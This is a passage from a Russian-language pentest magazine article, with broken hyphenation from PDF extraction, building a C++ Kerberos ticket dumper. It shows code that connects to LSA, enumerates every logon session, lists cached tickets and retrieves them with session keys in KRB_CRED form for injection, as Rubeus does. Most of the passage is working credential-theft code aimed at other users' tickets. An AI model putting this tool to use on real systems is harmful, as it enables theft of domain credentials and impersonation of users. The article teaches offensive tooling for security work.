да. Поэто му, если вызов фун кции обер нулся ошиб кой, мы прос то воз вра- 
щаем ся к опи сан ному рань ше вари анту через .

В таком слу чае сдам пить все тикеты, само собой, не получит ся.

LsaRegisterLogonProcess()

LsaRegisterLogonProcess()

LsaConnectUntrusted()

С под клю чени ем к LSA мы закон чили. На текущий момент у нас есть толь ко
валид ный хендл, но ведь нуж но вза имо дей ство вать не с LSA, а кон крет но с AP
Kerberos. Поэто му начина ем получать его айдиш ник. У каж дого пакета аутен- 
тифика ции в сис теме есть свой номер, который прис ваивает ему LSA
в момент заг рузки это го самого пакета. По умол чанию на всех сис темах у AP
Kerberos ID име ет номер 2, но луч ше зап рашивать этот номер так же
с помощью спе циаль ной фун кции.

ÏÎËÓ×ÅÍÈÅ ID

Те перь мы дол жны обна ружить AP Kerberos. Его получе ние я вынес в отдель- 
ную фун кцию . В прин ципе, эту фун кцию мож но
исполь зовать для получе ния ID любого AP, так как она при нима ет стро ку,
однознач но иден тифици рующую нуж ный AP.

GetKerberosPackage()

     ULONG GetKerberosPackage(HANDLE LsaHandle, LSA_STRING lsastr) {
    NTSTATUS status;
      ULONG AP = 0;
       status = LsaLookupAuthenticationPackage(LsaHandle, &lsastr, &AP);
       if (AP == 0) {

    
  

       std::wcout << L"[-] Error LsaLookupAP: " <<
LsaNtStatusToWinError(status) << std::endl;
       exit(-1);
   }
    return AP;
}

Ее вызов в прог рамме выг лядит вот так:

   PLSA_STRING krbname = create_lsa_string("kerberos");
    ULONG kerberosAP = GetKerberosPackage(LsaHandle, *krbname);

Здесь все дос таточ но прос то: для получе ния ID пакета аутен тифика ции
исполь зует ся фун кция , которая при- 

нима ет хендл на LSA, а так же имя пакета аутен тифика ции. При чем имя дол- 
жно быть пред став лено в виде струк туры .

LsaLookupAuthenticationPackage()

LSA_STRING

ÏÅÐÅ×ÈÑËßÅÌ ÂÑÅ LUID

На конец у нас есть все необ ходимое: хендл на LSA, ID пакета аутен тифика ции
Kerberos, желание сдам пить тикеты... Теперь сле дует перечис лить все сеан сы
вхо да в сис тему, что поз волит нам сдам пить тикеты дру гих поль зовате лей.
В про цес се «под готов ки» к дам пу мы про веря ем, мож но ли нам сдам пить
тикеты всех поль зовате лей (  дол жен иметь зна чение ,

эту перемен ную мы ини циали зиро вали еще рань ше, ког да пытались получить
ядер ный хендл на LSA). Если такая воз можность есть, прис тупа ем к перечис- 
лению сеан сов вхо да, в про тив ном слу чае дам пим тикеты текущей сес сии.

DumpAllTickets TRUE

  if (DumpAllTickets) {
        ULONG LogonSessionCount;
          PLUID LogonSessionList = NULL;

   
 

       NTSTATUS status = LsaEnumerateLogonSessions(&
LogonSessionCount, &LogonSessionList);

           if (status != 0) {
#ifdef DEBUG

   
   

           std::wcout << L"[-] Cant get info about logon sessions: "
<< LsaNtStatusToWinError(status) << std::endl;

               std::wcout << L"[!] Getting current user tickets" << std:
:endl;
#endif
           RevertToSelf();
           LsaDeregisterLogonProcess(LsaHandle);
           LsaConnectUntrusted(&LsaHandle);

               ReceiveLogonInfo(LsaHandle, { 0,0 }, kerberosAP);
       }

          PSECURITY_LOGON_SESSION_DATA pLogonSessionData = (
PSECURITY_LOGON_SESSION_DATA)malloc(sizeof(
SECURITY_LOGON_SESSION_DATA));

                for (int i = 0; i < LogonSessionCount; i++) {
              LsaGetLogonSessionData(LogonSessionList + i, &

pLogonSessionData);
              SetConsoleTextAttribute(hConsole, FOREGROUND_RED |

FOREGROUND_GREEN);
  

  
           std::wcout <<
"------------------------------------------------" << std::endl;

    
  

           std::wcout << "[+] Tickets For: " << pLogonSessionData->
LogonDomain.Buffer << L"\" << pLogonSessionData->UserName.Buffer << 
std::endl;
           LUID LogonId = *(LogonSessionList + i);

           std::wcout << "\tLogonId:\t" << std::hex << LogonId.
HighPart << LogonId.LowPart << std::endl;
           LPWSTR sidstr;
           ConvertSidToStringSid(pLogonSessionData->Sid, &sidstr);
           std::wcout << "\tUserSID:\t" << sidstr << std::endl;
           std::wcout << "\tAuthenticationPackage:\t" << 
pLogonSessionData->AuthenticationPackage.Buffer << std::endl;
           std::cout << "\tLogonType:\t" << enumToString[
pLogonSessionData->LogonType] << std::endl;
           std::wcout << "\tLogonTime:\t"; filetimeToTime((
PFILETIME)&pLogonSessionData->LogonTime);
           std::wcout << "\tLogonServer:\t" << pLogonSessionData->
LogonServer.Buffer << std::endl;
           std::wcout << "\tLogonServerDNSDomain:\t" << 
pLogonSessionData->DnsDomainName.Buffer << std::endl;
           std::wcout << "\tUserPrincipalName:\t" << 
pLogonSessionData->Upn.Buffer << std::endl;
           SetConsoleTextAttribute(hConsole, 0x07);
           ReceiveLogonInfo(LsaHandle, *(LogonSessionList + i), 
kerberosAP);
       }

       LsaFreeReturnBuffer(LogonSessionList);
   }
   else {
       ReceiveLogonInfo(LsaHandle, { 0,0 }, kerberosAP); // дамп 
тикетов текущей сессии
   }

Здесь мы вызыва ем фун кцию , она име ет
сле дующий про тотип:

LsaEnumerateLogonSessions()

 NTSTATUS LsaEnumerateLogonSessions(
   [out] PULONG LogonSessionCount,
    [out] PLUID *LogonSessionList
);

 — количес тво сеан сов вхо дов в сис тему. Нап- 
ример, если заш ло два поль зовате ля, то здесь будет чис ло 2;

• LogonSessionCount

 — мас сив зна чений LUID, иден тифици рующих сеанс
вхо да в сис тему.

• LogonSessionList

Ес ли же получить LUID не уда лось, то дерегис три руем про цесс вхо да в сис- 
тему и воз вра щаем ся к вари анту с дам пом тикетов толь ко из сес сии текуще го
поль зовате ля. Если фун кция завер шилась успешно, выделя ем мес то
под струк туру .SECURITY_LOGON_SESSION_DATA

   typedef struct _SECURITY_LOGON_SESSION_DATA {
 ULONG                     Size;
 LUID                      LogonId;
 LSA_UNICODE_STRING        UserName;
 LSA_UNICODE_STRING        LogonDomain;
 LSA_UNICODE_STRING        AuthenticationPackage;
 ULONG                     LogonType;
 ULONG                     Session;
 PSID                      Sid;
 LARGE_INTEGER             LogonTime;
 LSA_UNICODE_STRING        LogonServer;
 LSA_UNICODE_STRING        DnsDomainName;
 LSA_UNICODE_STRING        Upn;
 ULONG                     UserFlags;
  LSA_LAST_INTER_LOGON_INFO LastLogonInfo;
 LSA_UNICODE_STRING        LogonScript;
 LSA_UNICODE_STRING        ProfilePath;
 LSA_UNICODE_STRING        HomeDirectory;
 LSA_UNICODE_STRING        HomeDirectoryDrive;
 LARGE_INTEGER             LogoffTime;
 LARGE_INTEGER             KickOffTime;
 LARGE_INTEGER             PasswordLastSet;
 LARGE_INTEGER             PasswordCanChange;
 LARGE_INTEGER             PasswordMustChange;
  } SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA;

С помощью этой струк туры мож но извлечь чуть боль ше информа ции о кон- 
крет ном сеан се вхо да в сис тему. Я выделил сле дующие основные дан ные:

,  — поз воля ют опре делить, какому поль зовате лю
при над лежит сеанс вхо да в сис тему (чьи тикеты мы дам пим);

• UserName LogonDomain

 — его LUID;• LogonId

 — SID поль зовате ля;• UserSID

 — AP, исполь зуемый для про вер ки под линнос- 
ти. Нам под ходит толь ко Kerberos;

• AuthenticationPackage

 — в Windows нас читыва ется 13 раз личных типов вхо да в сис- 
тему, поэто му было бы инте рес но знать, каким обра зом залоги нил ся кон- 
крет ный поль зователь;

• LogonType

 — вре мя вхо да поль зовате ля;• LogonTime

,  — сер вер, который про вел
аутен тифика цию (под твер дил, что учет ные дан ные вер ны). В слу чае
Kerberos это будет KDC;

• LogonServer LogonServerDNSDomain

 — UPN поль зовате ля.• UserPrincipalName

По луче ние этой струк туры, а затем пар синг дан ных реали зует ся в цик ле ,

который ите риру ется через все получен ные ранее LUID’ы сеан сов вхо да.

for

         for (int i = 0; i < LogonSessionCount; i++) {
      LsaGetLogonSessionData(LogonSessionList + i, &pLogonSessionData);
      SetConsoleTextAttribute(hConsole, FOREGROUND_RED |
FOREGROUND_GREEN);
      
 
std::wcout << "------------------------------------------------"

<< std::endl;
       

  
std::wcout << "[+] Tickets For: " << pLogonSessionData->

LogonDomain.Buffer << L"\" << pLogonSessionData->UserName.Buffer << 
std::endl;
   LUID LogonId = *(LogonSessionList + i);

   std::wcout << "\tLogonId:\t" << std::hex << LogonId.HighPart << 
LogonId.LowPart << std::endl;
   LPWSTR sidstr;
   ConvertSidToStringSid(pLogonSessionData->Sid, &sidstr);
   std::wcout << "\tUserSID:\t" << sidstr << std::endl;
   std::wcout << "\tAuthenticationPackage:\t" << pLogonSessionData->
AuthenticationPackage.Buffer << std::endl;
   std::cout << "\tLogonType:\t" << enumToString[pLogonSessionData->
LogonType] << std::endl;
   std::wcout << "\tLogonTime:\t"; filetimeToTime((PFILETIME)&
pLogonSessionData->LogonTime);
   std::wcout << "\tLogonServer:\t" << pLogonSessionData->
LogonServer.Buffer << std::endl;
   std::wcout << "\tLogonServerDNSDomain:\t" << pLogonSessionData->
DnsDomainName.Buffer << std::endl;
   std::wcout << "\tUserPrincipalName:\t" << pLogonSessionData->Upn.
Buffer << std::endl;
   SetConsoleTextAttribute(hConsole, 0x07);
   ReceiveLogonInfo(LsaHandle, *(LogonSessionList + i), kerberosAP);
}

Сле дует пом нить, что SID хра нит ся в сис теме далеко не в виде понят ной
стро ки . Что бы прев ратить его в удо бочи таемое зна чение,

исполь зует ся фун кция , которая при нима ет SID

в виде одно имен ной струк туры, а воз вра щает стро ку.  так же иден- 
тифици рует ся кон крет ным ID, поэто му мы прос то соз даем сло варь «ключ —
зна чение», из которо го по клю чу получа ем тип вхо да.

S-1-5-3-XXX
ConvertSidToStringSid()

LogonType

    std::map<int, std::string> enumToString = {
  {UndefinedLogonType, "UndefinedLogonType"},
  {Interactive, "Interactive"},
  {Network, "Network"},
  {Batch, "Batch"},
  {Service, "Service"},
  {Proxy, "Proxy"},
  {Unlock, "Unlock"},
  {NetworkCleartext, "NetworkCleartext"},
  {NewCredentials, "NewCredentials"},
  {RemoteInteractive, "RemoteInteractive"},
  {CachedInteractive, "CachedInteractive"},
  {CachedRemoteInteractive, "CachedRemoteInteractive"},
  {CachedUnlock, "CachedUnlock"}
};

Еще одна осо бен ность — вре мя. Фун кция воз вра щает вре мя в виде струк- 
туры .FILETIME

   typedef struct _FILETIME {
  DWORD dwLowDateTime;
  DWORD dwHighDateTime;
   } FILETIME, *PFILETIME, *LPFILETIME;

Что бы это доб ро пре обра зовать в обыч ное «челове чес кое» вре мя, добавим
фун кцию :filetimeToTime

    VOID filetimeToTime(const FILETIME* time) {
    SYSTEMTIME st;
    FileTimeToSystemTime(time, &st);
               
            

std::cout << st.wDay << "." << st.wMonth << "." << st.wYear << " 
" << st.wHour << ":" << st.wMinute << ":" << st.wSecond << std::endl;
}

Она исполь зует фун кцию , которая пре обра зует

струк туру  в струк туру . А в этой вто рой струк туре эле- 

мен ты уже «челове чес кие». Их мож но выводить.

FileTimeToSystemTime
FILETIME SYSTEMTIME

На этом этап сбо ра информа ции о LUID завер шен, пора дам пить тикеты
из сеан са вхо да. Для это го дер гаем фун кцию . Она при-

нима ет хендл на LSA, LUID, а так же номер AP Kerberos.

ReceiveLogonInfo()

    ReceiveLogonInfo(LsaHandle, *(LogonSessionList + i), kerberosAP);

Ес ли бы мы хотели сдам пить тикеты текущей сес сии, то в качес тве LUID мож- 
но было бы передать . Это озна чает текущий сеанс вхо да.{0,0}

    ReceiveLogonInfo(LsaHandle, { 0,0 }, kerberosAP);

Продолжение статьи →
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На конец, сер дце прог раммы. Основной ком понент, который выпол няет дамп
тикетов, — фун кция . Она име ет сле дующий про тотип:ReceiveLogonInfo()

      DWORD ReceiveLogonInfo(HANDLE LsaHandle, LUID LogonId, ULONG
kerberosAP);

 — хендл на LSA, получен ный через
 или ;

• LsaHandle

LsaRegisterLogonProcess() LsaConnectUntrusted()

 — LUID сеан са вхо да, тикеты которо го нуж но сдам пить;• LogonID

 — айдиш ник пакета аутен тифика ции Kerberos.• kerberosAP

Пол ный код фун кции при водить не буду — он слиш ком боль шой. Рас смот рим
по час тям. Сна чала мы дол жны обра тить ся к пакету аутен тифика ции Kerberos,
что бы получить информа цию обо всех кеширо ван ных билетах. Для это го
исполь зует ся фун кция .LsaCallAuthenticationPackage()

 NTSTATUS LsaCallAuthenticationPackage(
       [in] HANDLE LsaHandle,
        [in] ULONG AuthenticationPackage,
        [in] PVOID ProtocolSubmitBuffer,
        [in] ULONG SubmitBufferLength,
       [out] PVOID *ProtocolReturnBuffer,
      [out] PULONG ReturnBufferLength,
   [out] PNTSTATUS ProtocolStatus
);

Здесь
 — хендл на ;• LsaHandle LSA

 — айдиш ник пакета, к которо му мы обра- 
щаем ся;

• AuthenticationPackage

 — спе цифич ная для каж дого AP струк тура, поз- 
воля ющая зап росить информа цию, которую этот AP может пре дос тавить.
Нап ример, мы будем отда вать струк туру

, получив которую AP Kerberos пой- 
мет, что ему нуж но выдать информа цию обо всех кеширо ван ных тикетах;

• ProtocolSubmitBuffer

KERB_QUERY_TKT_CACHE_REQUEST

 — раз мер ;• SubmitBufferLength ProtocolSubmitBuffer

 — вза имо дей ствие с AP во мно гом похоже
на вза имо дей ствие по HTTP. Сна чала отправ ляет ся рек вест, а затем отда- 
ется рес понс. Так вот, в этом парамет ре будет лежать струк тура, которую
вер нул AP. Нап ример, ;

• ProtocolReturnBuffer

KERB_QUERY_TKT_CACHE_RESPONSE

 — раз мер ;• ReturnBufferLength ProtocolReturnBuffer

 — ты, навер ное, зна ешь, что вся кие ошиб ки у фун кций
WinAPI мож но ловить с помощью . Так вот, эта фун кция
может сло мать ся как при вызове, так и внут ри самого AP Kerberos. В этом
парамет ре будет лежать код ошиб ки, воз вра щен ный непос редс твен но AP
Kerberos. Нап ример, если фун кция выз валась успешно, но мы переда ли
кри вую струк туру, то AP Kerberos любез но опо вес тит нас об этом
с помощью соот ветс тву юще го кода ошиб ки, который мож но получить
отсю да.

• ProtocolStatus

GetLastError()

Те перь минут ка лик беза: в зависи мос ти от того, как был получен хендл
на LSA, в AP Kerberos будут выз ваны раз личные фун кции. Если хендл получен
через , то в AP вызыва ется фун кция

. Если же через 

, то . Про тоти пы фун кций при водить не буду — они

дос таточ но боль шие, мы их раз берем в сле дующих стать ях, ког да будем
писать пол ноцен ный AP.

LsaConnectUntrusted()
LsaApCallPackageUntrusted() LsaRegisterLogonProcess(
) LsaApCallPackage()

Вер немся к «Кер беросу». Вот струк тура, которую нуж но отда вать в AP
Kerberos для перечис ления его кеша:

   typedef struct _KERB_QUERY_TKT_CACHE_REQUEST {
  KERB_PROTOCOL_MESSAGE_TYPE MessageType;
 LUID                       LogonId;
  } KERB_QUERY_TKT_CACHE_REQUEST, *PKERB_QUERY_TKT_CACHE_REQUEST;

Здесь
 — спе циаль ное перечис ляемое зна чение, харак теризу- 

ющее тип обра щения к AP, то есть с какой целью мы к нему приш ли. Мож но
исполь зовать ;

• MessageType

KerbQueryTicketCacheMessage

 — сес сия вхо да, для которой нуж но перечис лять тикеты.• LogonId

В ответ AP Kerberos вер нет струк туру :KERB_QUERY_TKT_CACHE_RESPONSE

   typedef struct _KERB_QUERY_TKT_CACHE_RESPONSE {
  KERB_PROTOCOL_MESSAGE_TYPE MessageType;
 ULONG                      CountOfTickets;
      KERB_TICKET_CACHE_INFO Tickets[ANYSIZE_ARRAY];
  } KERB_QUERY_TKT_CACHE_RESPONSE, *PKERB_QUERY_TKT_CACHE_RESPONSE;

Здесь
 — спе циаль ное перечис ляемое зна чение. Будет рав но

;
• MessageType

KerbQueryTicketCacheMessage

 — количес тво тикетов, которые свя заны с ука зан ной
сес сией вхо да;

• CountOfTickets

 — мас сив, содер жащий информа цию
о тикетах. Пред став лен в виде струк туры .

• Tickets[ANYSIZE_ARRAY]

KERB_TICKET_CACHE_INFO

   typedef struct _KERB_TICKET_CACHE_INFO {
  UNICODE_STRING ServerName;
  UNICODE_STRING RealmName;
   LARGE_INTEGER StartTime;
   LARGE_INTEGER EndTime;
   LARGE_INTEGER RenewTime;
 LONG           EncryptionType;
 ULONG          TicketFlags;
  } KERB_TICKET_CACHE_INFO, *PKERB_TICKET_CACHE_INFO;

Здесь
 — имя сер вера, для которо го пред назна чен тикет. В слу чае

TGT это будет . В слу чае TGS — SPN целевой служ- 
бы;

• ServerName

krbtgt/DOMAIN.COM

 — это некая область видимос ти. В целом бес полез ный
параметр, но его мы тоже можем выводить;

• RealmName

, ,  — вре мя получе ния билета, вре мя, ког- 
да билет стух нет, вре мя, в течение которо го билет мож но обно вить. С пер- 
выми дву мя парамет рами, думаю, все понят но, а вот пос ледний поз воля ет
на осно ве сущес тву юще го билета зап росить новый. Ты можешь встре тить
этот набор фун кций, нап ример, в ;

• StartTime EndTime RenewTime

Rubeus renew

 — тип шиф рования билета. По умол чанию есть RC4,
AES-128, AES-256;

• EncryptionType

 — фла ги билета. То есть спе циаль ные зна чения, которые
хра нят информа цию об осо бен ностях тикета.

• TicketFlags

Итак, пора зап рашивать информа цию. Вызыва ем фун кцию
:LsaCallAuthenticationPackage()

      
 

DWORD ReceiveLogonInfo(HANDLE LsaHandle, LUID LogonId, ULONG
kerberosAP) {
       

  
KERB_QUERY_TKT_CACHE_REQUEST kerbCacheRequest = {

KerbQueryTicketCacheMessage, LogonId };
    PKERB_QUERY_TKT_CACHE_RESPONSE pKerbCacheResponse;
    PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest;
    PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse;
      ULONG krbQTCacheSizeResponse = 0;
      NTSTATUS ProtocolStatus = 0;
       

   
  

NTSTATUS status = LsaCallAuthenticationPackage(LsaHandle,
kerberosAP, &kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST),
(PVOID*)&pKerbCacheResponse, &krbQTCacheSizeResponse, &ProtocolStatus
);
       if (status == 0) {

           if (ProtocolStatus == 0) {
    

    
           std::wcout << L"\t[+] Enumerated " << pKerbCacheResponse
->CountOfTickets << L" Tickets" << std::endl;

Здесь все оче вид но. Ини циали зиру ем струк туры, дер гаем AP Kerberos. Про- 
веря ем, что вызов фун кции, рав но как и ответ от AP Kerberos, успешны,
а затем прис тупа ем к пар сингу получен ных дан ных. Если вдруг что-то
на каком-то эта пе сло малось, раз бира емся с ошиб кой при помощи

.LsaNtStatusToWinError()

   ULONG Stats = LsaNtStatusToWinError(status);
    

  
std::cout << L"[-] KERB_QUERY_TKT_CACHE_REQUEST Func Error: " <<
Stats << std::endl;

Пар синг дос таточ но прос той. Вре мя выводим с помощью фун кции
. Име на реал ма и сер вера выводим вооб ще без пар синга,

обра щаясь к эле мен ту  струк туры .

filetimeToTime
Buffer UNICODE_STRING

          std::wcout << L"\tTICKET [" << i + 1 << L"]:" << std::endl;
    

  
std::wcout << L"\t\tServer Name:\t" << pKerbCacheResponse->Tickets[i]
.ServerName.Buffer << std::endl;

    
  

std::wcout << L"\t\tRealm Name:\t" << pKerbCacheResponse->Tickets[i].
RealmName.Buffer << std::endl;

   std::wcout << L"\t\tStart Time:\t"; filetimeToTime((PFILETIME)&
pKerbCacheResponse->Tickets[i].StartTime);

   std::wcout << L"\t\tEnd Time:\t"; filetimeToTime((PFILETIME)&
pKerbCacheResponse->Tickets[i].EndTime);

   std::wcout << L"\t\tRenew Time:\t"; filetimeToTime((PFILETIME)&
pKerbCacheResponse->Tickets[i].RenewTime);

До пол нитель но я решил соз дать фун кцию , с помощью

которой мож но опре делить, TGT текущий тикет или TGS. Работа ет она до неп- 
риличия прос то: про веря ет наличие стро ки  в .

Если такая стро ка есть, то перед нами TGT, если нет — TGS.

containsKrbtgt

krbtgt ServerName.buffer

    bool containsKrbtgt(const UNICODE_STRING& unicodeStr) {
           std::wstring wstr(unicodeStr.Buffer, unicodeStr.Length /

sizeof(WCHAR));
         std::string str(wstr.begin(), wstr.end());

          std::transform(str.begin(), str.end(), str.begin(), ::tolower
);

           if (str.find("krbtgt") != std::string::npos) {
            return true;

       }
           else { return false; }

}

А вот соот ветс тву ющий вывод в сле дующих стро ках:

  if (containsKrbtgt(pKerbCacheResponse->Tickets[i].ServerName)) {
           std::wcout << L"\t\tTGT:\t TRUE" << std::endl;

   }
 else {

           std::wcout << L"\t\tTGS:\t TRUE" << std::endl;
   }

Пос ле чего оста ются пос ледние два эле мен та струк туры — 
и . Их пар синг так же нуж но вынес ти в отдель ную фун кцию.

EncryptionType
Flags

    
  

std::wcout << L"\t\tEncryptionType:\t" << KerberosEncryptionType(
pKerbCacheResponse->Tickets[i].EncryptionType) << std::endl;

   std::wcout << L"\t\tTicket Flags:\t"; ParseTktFlags(
pKerbCacheResponse->Tickets[i].TicketFlags);

Пер вая дос таточ но прос тая: это стан дар тный .switch — case

  PCSTR KerberosEncryptionType(LONG eType)
{
  PCSTR type;
  switch (eType)
 {
    

 
case KERB_ETYPE_NULL:                         type =

"null             "; break;
    

 
case KERB_ETYPE_DES_PLAIN:                        type =

"des_plain        "; break;
    

 
case KERB_ETYPE_DES_CBC_CRC:                  type =

"des_cbc_crc      "; break;
    

 
case KERB_ETYPE_DES_CBC_MD4:                  type =

"des_cbc_md4      "; break;
    

 
case KERB_ETYPE_DES_CBC_MD5:                  type =

"des_cbc_md5      "; break;
    

 
case KERB_ETYPE_DES_CBC_MD5_NT:                   type =

"des_cbc_md5_nt   "; break;
    

 
case KERB_ETYPE_RC4_PLAIN:                        type =

"rc4_plain        "; break;
    

 
case KERB_ETYPE_RC4_PLAIN2:                       type =

"rc4_plain2       "; break;
    

 
case KERB_ETYPE_RC4_PLAIN_EXP:                    type =

"rc4_plain_exp    "; break;
    

 
case KERB_ETYPE_RC4_LM:                           type =

"rc4_lm           "; break;
    

 
case KERB_ETYPE_RC4_MD4:                      type =

"rc4_md4          "; break;
    

 
case KERB_ETYPE_RC4_SHA:                      type =

"rc4_sha          "; break;
    

 
case KERB_ETYPE_RC4_HMAC_NT:                  type =

"rc4_hmac_nt      "; break;
    

 
case KERB_ETYPE_RC4_HMAC_NT_EXP:              type =

"rc4_hmac_nt_exp  "; break;
    

 
case KERB_ETYPE_RC4_PLAIN_OLD:                    type =

"rc4_plain_old    "; break;
    

 
case KERB_ETYPE_RC4_PLAIN_OLD_EXP:                type =

"rc4_plain_old_exp"; break;
    

 
case KERB_ETYPE_RC4_HMAC_OLD:                 type =

"rc4_hmac_old     "; break;
    

 
case KERB_ETYPE_RC4_HMAC_OLD_EXP:             type =

"rc4_hmac_old_exp "; break;
        

 
case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96_PLAIN: type =

"aes128_hmac_plain"; break;
        

 
case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96_PLAIN: type =

"aes256_hmac_plain"; break;
    

 
case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96:      type =

"aes128_hmac      "; break;
    

 
case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96:      type =

"aes256_hmac      "; break;
   

 
default:                                      type =

"unknow           "; break;
 }
  return type;
}

Вто рая чуточ ку слож нее. Что бы кор рек тно выводи лись все фла ги, мы помес- 
тили их еще в , в мас сив строк :stuff.h TicketFlagsToStrings

    const PCWCHAR TicketFlagsToStrings[] = {
   L"name_canonicalize", L"?", L"ok_as_delegate", L"?",

   L"hw_authent", L"pre_authent", L"initial", L"renewable",
   L"invalid", L"postdated", L"may_postdate", L"proxy",

   L"proxiable", L"forwarded", L"forwardable", L"reserved",
};

А получить фла ги тикета мож но с помощью прос тых ариф метичес ких опе-
рато ров.

   VOID ParseTktFlags(ULONG flags) {
    DWORD i;
          for (i = 0; i < ARRAYSIZE(TicketFlagsToStrings); i++)

              if ((flags >> (i + 16)) & 1)
               std::wcout << TicketFlagsToStrings[i] << ", ";

     std::wcout << std::endl;
}

С пар сингом кеша на этом все. Пора дос тавать сам тикет!

Продолжение статьи →
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Те перь у нас име ется вся информа ция о билете. Мы зна ем, на какую он служ- 
бу выписан, кто вла деет этим билетом. Оста ется получить лишь сам тикет.
Но сна чала нуж но пос тавить точ ку в тикетах и сес сион ных клю чах, что бы
не было путани цы в голове. Ты, навер ное, зна ешь, что в Kerberos вез де и пов- 
сюду исполь зуют ся сес сион ные клю чи, которые поз воля ют орга низо вать
зашиф рован ный канал свя зи меж ду KDC и кли ентом либо кли ентом и служ- 
бой. Воз можно, ты даже задавал ся воп росом: а в какой момент дам пится
сес сион ный ключ? Отку да его брать? Вот, нап ример, ты сдам пил тикеты
через , он даже сес сион ный ключ вывел, но где этот сес сион ный

ключ исполь зует ся? Я беру и внед ряю тикет, и все работа ет.

Rubeus dump

Дамп тикета и сес сион ного клю ча

Ус пешное внед рение тикета

Так вот. Пом нишь, мы при обра щении к AP Kerberos в струк туре
 ука зыва ли ? Он как раз опре- 

деля ет то, что нам тре бует ся от AP Kerberos. Ранее нам надо было получить
информа цию о кеширо ван ных билетах — и мы ука зыва ли

. А для дам па тикетов есть целых два зна- 
чения:

KERB_QUERY_TKT_CACHE_REQUEST MessageType

KerbQueryTicketCacheMessage

 — в докумен тации MSDN написа но: «Эта
про цеду ра дис петче риза ции извле кает билет на выдачу билетов из кеша
билетов ука зан ного сеан са вхо да поль зовате ля». Так вот, в дей стви тель- 
нос ти это поз волит сдам пить тикет, но без сес сион ного клю ча. То есть мы
получим как бы тикет, но заин жектить его не вый дет, так как нужен будет
свя зан ный с ним сес сион ный ключ;

• KerbRetrieveTicketMessage

 — в докумен тации MSDN
написа но: «Это сооб щение извле кает ука зан ный билет либо из кеша, если
он там уже есть, либо зап рашивая его из цен тра рас простра нения клю чей
Kerberos (KDC)». Как раз это зна чение и поз волит сдам пить тикет сра зу
с сес сион ным клю чом.

• KerbRetrieveEncodedTicketMessage

Воз можно, я объ яснил не очень понят но. Давай рас смот рим этот про цесс
на при мерах. Я спе циаль но пре дус мотрел в инс тру мен те воз можность дам па
тикета как с сес сион ным клю чом, так и без него.

Ис поль зование двух зна чений для дам па

Са ми тикеты выводят ся друг за дру гом.

Ти кет с сес сион ным клю чом и без сес сион ного клю ча

Ви дишь? Тикет, начина ющий ся на , содер жит так же сес сион ный ключ —

он пря мо зашит в бинар ные дан ные. Таким обра зом, внед ряя этот тикет, мы
без проб лем будем вза имо дей ство вать с Kerberos от лица поль зовате ля —
вла дель ца тикета. А чуть ниже я вывожу тикет без сес сион ного клю ча.
Не знаю, что с ним мож но сде лать, но вдруг для каких-нибудь целей ресер ча
он сго дит ся? При чем обра ти вни мание, что сес сион ный ключ у них один и тот
же.

doI

Ду маю, теперь все вста ло на свои мес та. Давай учить ся дам пить. Пос ле
перечис ления кеша билетов нам нуж но эти самые тикеты получить. Для кор- 
рек тно го дам па пот ребу ется так же , то есть имя служ бы,

для которой выписан тикет (пом ни, что в слу чае TGT это ). Сна чала
выделя ем буфер дос таточ ного раз мера. Он дол жен быть равен раз меру
струк туры  плюс раз мер стро ки, содер жащей

имя служ бы, на которую выписан кон крет ный тикет.

ServerName
krbtgt

KERB_RETRIEVE_TKT_REQUEST

     DWORD szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + pKerbCacheResponse
->Tickets[i].ServerName.MaximumLength;
      

  
if (pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc

(LPTR, szData)) {
       ...
   }

Ес ли выделе ние памяти прош ло успешно, мы можем ини циали зиро вать
 нуж ными зна чени ями. Струк тура

 выг лядит вот так:

pKerbRetrieveRequest
KERB_RETRIEVE_TKT_REQUEST

   typedef struct _KERB_RETRIEVE_TKT_REQUEST {
  KERB_PROTOCOL_MESSAGE_TYPE MessageType;
 LUID                       LogonId;
 UNICODE_STRING             TargetName;
 ULONG                      TicketFlags;
 ULONG                      CacheOptions;
 LONG                       EncryptionType;
 SecHandle                  CredentialsHandle;
  } KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;

Здесь
 — для дам па с сес сион ным клю чом ста вим

. Для дам па без сес сион ного
клю ча — ;

• MessageType

KerbRetrieveEncodedTicketMessage

KerbRetrieveTicketMessage

 — LUID сеан са вхо да, из которо го мы дам пим тикеты;• LogonId

 — имя служ бы, на которую выписан тикет. С помощью это го
парамет ра мож но соз дать филь тр. Фак тичес ки — что бы сдам пить толь ко
тикеты на опре делен ную служ бу, нап ример толь ко на 

;

• TargetName

CIFS/DC01.

CRINGE.LAB

 — фла ги-филь тры. Если уста нов лено зна чение  и если
в кеше най ден соот ветс тву ющий билет, то этот билет будет сдам плен
незави симо от зна чений его фла гов. Если сов падений в кеше нет, то будет
зап рошен новый тикет;

• TicketFlags 0

 — вся кие опции, свя зан ные с кеширо вани ем. Их очень
мно го, мы ука зыва ем , что бы
тикеты вер нулись в фор мате , который опи сан в ;

• CacheOptions

KERB_RETRIEVE_TICKET_AS_KERB_CRED

KRB_CRED RFC 4120
 — опре деля ет тип шиф рования у билета;• EncryptionType

 — это для SSPI, мы рас смат ривали SSPI в статье
« ». В нашем слу чае
этот параметр не исполь зует ся.

• CredentialsHandle

Свин API. Изу чаем воз можнос ти WinAPI для пен тесте ра

Кор рек тная ини циали зация слож на, но мы же хакеры! Поэто му прос то берем
и копиру ем все зна чения, которые мы получи ли при изу чении кеша AP
Kerberos, пос коль ку там в воз вра щаемой струк туре при сутс тво вали те же
самые эле мен ты.

  pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
  pKerbRetrieveRequest->CacheOptions =

KERB_RETRIEVE_TICKET_AS_KERB_CRED;
  pKerbRetrieveRequest->TicketFlags = pKerbCacheResponse->Tickets[i].

TicketFlags;
  pKerbRetrieveRequest->TargetName = pKerbCacheResponse->Tickets[i].

ServerName;
  pKerbRetrieveRequest->LogonId = kerbCacheRequest.LogonId;

  
  

pKerbRetrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)
